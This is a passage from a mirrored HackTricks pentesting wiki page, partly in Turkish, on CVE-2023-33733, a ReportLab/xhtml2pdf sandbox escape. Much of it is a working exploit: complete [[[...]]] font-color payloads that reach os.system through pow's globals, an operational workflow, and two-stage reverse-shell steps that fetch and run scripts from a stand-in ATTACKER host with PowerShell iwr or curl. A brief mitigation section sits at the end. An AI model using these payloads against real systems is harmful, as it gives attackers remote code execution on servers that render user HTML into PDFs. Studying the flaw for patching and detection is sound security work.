mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
7.1 KiB
Markdown
80 lines
7.1 KiB
Markdown
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs.
|
||
|
||
CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands.
|
||
|
||
Ana noktalar
|
||
- Trigger: inject [[[ ... ]]] into evaluated attributes such as <font color="..."> within markup parsed by ReportLab/xhtml2pdf.
|
||
- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__.
|
||
- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering.
|
||
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||
- Stability: Return a valid value for the attribute after execution (for color, use and 'red').
|
||
|
||
Ne zaman test edilmeli
|
||
- HTML-to-PDF dışa aktarma (profiller, faturalar, raporlar) sunan ve PDF metadata veya HTTP yanıt yorumlarında xhtml2pdf/ReportLab gösteren uygulamalar.
|
||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
|
||
- PDF için HTTP yanıtı genellikle bir ReportLab generator yorumu ile başlar
|
||
|
||
Sandbox atlatması nasıl çalışır
|
||
- rl_safe_eval birçok builtin'i (getattr, type, pow, ...) kaldırır veya değiştirir ve __ ile başlayan veya denylist'te olan adları reddetmek için isim filtrelemesi uygular.
|
||
- Ancak, güvenli fonksiyonlar func.__globals__ olarak erişilebilen bir globals sözlüğünde yaşar.
|
||
- Gerçek builtin type fonksiyonunu kurtarmak için type(type(1)) kullanın (ReportLab’ın wrapper'ını atlatır), sonra karşılaştırma davranışı değiştirilmiş bir str türevi Word sınıfı tanımlayın, böylece:
|
||
- .startswith('__') → her zaman False döner (startswith('__') kontrolünü atlatır)
|
||
- .__eq__ ilk karşılaştırmada False döner (denylist üyelik kontrollerini atlatır) ve sonrasında True döner (böylece Python getattr çalışır)
|
||
- .__hash__ hash(str(self)) ile eşittir
|
||
- Böylece getattr(pow, Word('__globals__')) sarmalanmış pow fonksiyonunun globals sözlüğünü döndürür; bu sözlük import edilmiş bir os modülünü içerir. Ardından: ['os'].system('<cmd>').
|
||
|
||
Minimal exploitation pattern (attribute example)
|
||
Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.
|
||
|
||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||
exploit
|
||
</font></para>
|
||
|
||
- Liste-üretim (list-comprehension) formu rl_safe_eval için kabul edilebilir tek bir ifade sağlar.
|
||
- Sondaki and 'red' geçerli bir CSS rengi döndürür, böylece render işlemi bozulmaz.
|
||
- Komutu gerektiği şekilde değiştirin; çalıştığını doğrulamak için ping kullanın ve tcpdump ile izleyin.
|
||
|
||
Operasyonel iş akışı
|
||
1) PDF oluşturucuyu belirleyin
|
||
- PDF Producer xhtml2pdf gösterir; HTTP yanıtı ReportLab yorumu içerir.
|
||
2) PDF'ye yansıtılan bir girdi bulun (ör. profil bio/açıklama) ve bir dışa aktarma tetikleyin.
|
||
3) Düşük gürültülü ICMP ile yürütmeyi doğrulayın
|
||
- Çalıştırın: sudo tcpdump -ni <iface> icmp
|
||
- Payload: ... system('ping <your_ip>') ...
|
||
- Windows genellikle varsayılan olarak tam olarak dört echo isteği gönderir.
|
||
4) Bir shell kurun
|
||
- Windows için, güvenilir bir iki aşamalı yaklaşım alıntılama/kodlama sorunlarından kaçınır:
|
||
- Aşama 1 (indir):
|
||
|
||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||
|
||
- Aşama 2 (çalıştır):
|
||
|
||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||
|
||
- Linux hedefleri için benzer curl/wget iki aşamalı yöntem mümkündür:
|
||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||
|
||
Notlar ve ipuçları
|
||
- Attribute context'leri: color bilinen bir değerlendirme yapılan attribute'tür; ReportLab işaretlemesindeki diğer attribute'ler de ifadeleri değerlendirebilir. Bir yer sanitize ediliyorsa, PDF akışına render edilen diğer yerlere (farklı alanlar, tablo stilleri vb.) bakın.
|
||
- Alıntılama: Komutları kompakt tutun. İki aşamalı indirmeler alıntılama ve kaçış sorunlarını büyük ölçüde azaltır.
|
||
- Güvenilirlik: Eğer dışa aktarmalar önbelleğe alınıyor veya kuyruğa alınıyorsa, önbelleğe takılmamak için payload'u biraz değiştirin (ör. rastgele yol veya sorgu).
|
||
|
||
Önlemler ve tespit
|
||
- ReportLab'i 3.6.13 veya daha yeni bir sürüme güncelleyin (CVE-2023-33733 düzeltildi). Dağıtım paketlerindeki güvenlik duyurularını da takip edin.
|
||
- Kullanıcı kontrollü HTML/işaretlemeyi xhtml2pdf/ReportLab'e doğrudan ve sıkı sanitizasyon olmadan vermeyin. Kullanıcı girişleri güvensizse [[[...]]] değerlendirme yapısını ve vendor-spesifik tag'leri kaldırın/engelleyin.
|
||
- Untrusted girdiler için rl_safe_eval kullanımını tamamen devre dışı bırakmayı veya sarmalamayı düşünün.
|
||
- PDF oluşturma sırasında şüpheli çıkış bağlantılarını (ör. uygulama sunucularından dışa doğru ICMP/HTTP) izleyin.
|
||
|
||
References
|
||
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|